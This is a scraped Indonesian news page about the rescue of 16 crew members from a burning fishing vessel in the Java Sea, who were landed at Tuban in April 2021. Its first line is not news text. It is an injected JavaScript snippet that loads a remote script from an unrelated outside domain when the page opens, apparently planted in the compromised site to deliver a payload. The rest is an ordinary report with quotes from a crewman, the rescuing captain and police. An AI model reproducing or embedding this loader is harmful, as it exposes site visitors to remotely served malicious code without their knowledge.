(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sebanyak 16 anak buah kapal (ABK) Kapal Motor Bintang Jaya Mandiri yang sebelumnya terbakar di Laut Jawa Utara, berhasil dievakuasi.
Mereka dievakuasi awak Kapal Queen Majesty, dan mendarat dengan keadaan selamat di PT Trans Pacific Petrochemical Indotama (TPPI), di Tuban, Jawa Timur, Jumat (16/04/2021).
Rasvandi, salah satu ABK selamat mengatakan kapalnya terbakar pukul 12.20 WIB. Api berasal dari bagian mesin yang mengeluarkan asap lebih dulu sebelum akhirnya meledak.
“Saat itu semua kru kapal tidur, saya bersama tiga teman saya yang melihat bagian mesin mengeluarkan asap berusaha bangunin yang lain. Tapi sudah terjadi ledakan di dalam mesin kapal, sehingga semuanya panik,” kata Rasvadi, dikutip dari suaraindonesia.co.id, jejaring media suara.com.
Panik mesin kapal meledak, para ABK lalu berhamburan menyelamatkan diri dengan alat seadanya. Mereka kemudian menaiki busa besar meninggalkan kapal kemudian terombang-ambing selama dua jam di laut.
“Alhamdulillah ada kapal MT Queen Majesty yang saat itu melintas dan kami ditolong. Karena tidak ada kapal lagi selain itu,” katanya.
Kapten Kapal MT Queen Majesty, Muhammad Amin Rohman mengatakan, Kapal MT Queen Majesty sebelumnya berangkat dari perairan Malaysia menuju Tuban.
Saat itu officer yang berjaga menginformasikan jarak 7 mil di depan kapal ada kepulan asap yang diduga kapal milik nelayan.
“Dari informasi itu, saya mengambil instruksi untuk melakukan stanbay engine dan menyiapkan tim rescue sambil mengarah ke tempat kejadian. Kita tiba di lokasi kejadian sekitar 30 menit, terlihat dua grup anggota kapal yang terbakar itu mengapung,” ungkap Kapten Muhammad Amin Rohman.
Ia menambahkan, evakuasi memakan waktu cukup lama sebab kapal MT Queen Majesty bermuatan bahan bakar premium sehingga harus mencari posisi aman sambil menurunkan tim rescue.
“Kita evakuasi semuanya 16 anggota kapal yang terbakar itu selama kurang lebih satu jam setengah. Dan saat itu memang posisi kapal kita saja yang melintas. Selanjutnya kita koordinasikan dengan Pertamina, dan kita bawa ke Tuban,” tuturnya.
Kapolres Tuban AKBP Ruruh Wicaksono menuturkan, semua kru kapal yang tenggelam dalam keadaan sehat dan sudah menjalani tes kesehatan di pos keamanan PT Trans Pacific Petrochemical Indotama.
“Selanjutnya para 16 kru kapal ini akan kita pulangkan sesuai dengan alamat masing-masing,” ujarnya.(Suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
This website uses cookies.